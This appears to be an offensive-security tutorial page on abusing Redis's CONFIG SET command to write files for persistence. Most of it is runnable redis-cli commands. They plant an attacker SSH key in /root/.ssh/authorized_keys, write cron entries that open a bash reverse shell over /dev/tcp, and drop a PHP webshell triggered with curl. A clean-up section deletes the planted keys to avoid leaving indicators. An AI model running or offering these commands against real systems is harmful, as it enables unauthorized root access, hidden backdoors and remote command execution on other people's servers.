Skip to content

Redis Persistence via CONFIG SET

5 min read Created May 6, 2026 Last updated May 6, 2026

Redis's CONFIG SET command lets you change the working directory and the RDB dump filename at runtime. If Redis runs as a privileged user and you have command access, you can write arbitrary files to the filesystem: including SSH authorized keys, cron jobs, and webshells.

This technique requires either unauthenticated access or a known Redis password. No Redis client libraries needed, just redis-cli or raw TCP. The main persistence paths via CONFIG SET:

  • SSH authorized_keys: cleanest, survives reboots, gives direct login
  • Cron job: reverse shell callback, fires on schedule
  • Webshell: persistent command execution via HTTP if a web server is present
  • Sudoers or passwd write: direct privilege escalation (destructive, CTF only)

Check Write Capability

Before attempting, confirm Redis will actually write the file: test with a throwaway path:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /tmp
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename test.txt
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT SET test "hello"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT BGSAVE

If no permission errors, Redis can write files. The actual content will be wrapped in RDB format markers: the payload needs to survive them (SSH keys and cron jobs tolerate this; binary payloads do not).

Write SSH Authorized Keys

This is the cleanest approach: places your public key in the target user's authorized_keys so you can SSH in persistently.

Generate a key pair on your attacker box:

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t rsa -b 4096 -f /tmp/redis_rsa -N ""

Write the public key to Redis with newlines padding to survive RDB markers:

┌──(kali㉿kali)-[~]
└─$ (echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/redis_key.txt
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT FLUSHALL
┌──(kali㉿kali)-[~]
└─$ cat /tmp/redis_key.txt | redis-cli -h $TARGET_IP -p $PORT -x SET sshkey

Point Redis at the target user's .ssh directory:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /root/.ssh
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename authorized_keys
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT BGSAVE

Verify it worked, then connect:

┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/redis_rsa root@$TARGET_IP

If Redis does not run as root, try /home/$USER/.ssh based on the running process owner. Check with:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG GET dir

Write a Cron Job

Place a cron entry that calls back with a reverse shell. The RDB file format includes extra bytes, but cron ignores lines it cannot parse: the payload line survives.

Start a listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Write a cron file:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT FLUSHALL
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT SET cron "\n\n* * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\n\n"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /var/spool/cron/crontabs
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename root
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT BGSAVE

The cron file will be owned by Redis's process user. If Redis runs as root, this gives you a root cron entry. Wait up to 60 seconds for the first execution.

On systems using /etc/cron.d instead:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /etc/cron.d
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename backdoor

The cron syntax in /etc/cron.d requires a username field:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT SET cron "\n\n* * * * * root bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\n\n"

Write a Webshell

If a web server is running on the same host and you can identify the webroot path, write a PHP or other shell:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT FLUSHALL
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT SET shell "<?php system(\$_GET['cmd']); ?>"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /var/www/html
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename shell.php
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT BGSAVE

Trigger it:

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.php?cmd=id"

The RDB markers around the PHP code will cause some garbage output before and after the command result, but the shell executes correctly.

Common webroot paths to try: /var/www/html, /var/www, /srv/http, /usr/share/nginx/html.

Authenticated Redis

If Redis requires a password, prepend -a $PASSWORD to all commands:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT -a $PASSWORD CONFIG SET dir /root/.ssh

Or authenticate inline:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT AUTH $PASSWORD

Clean Up

After establishing the real persistence mechanism, remove the key you set to avoid leaving obvious indicators:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT DEL sshkey
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT DEL cron
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT DEL shell

Restore the original dir and dbfilename to avoid breaking Redis's normal operation:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename dump.rdb
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /var/lib/redis

References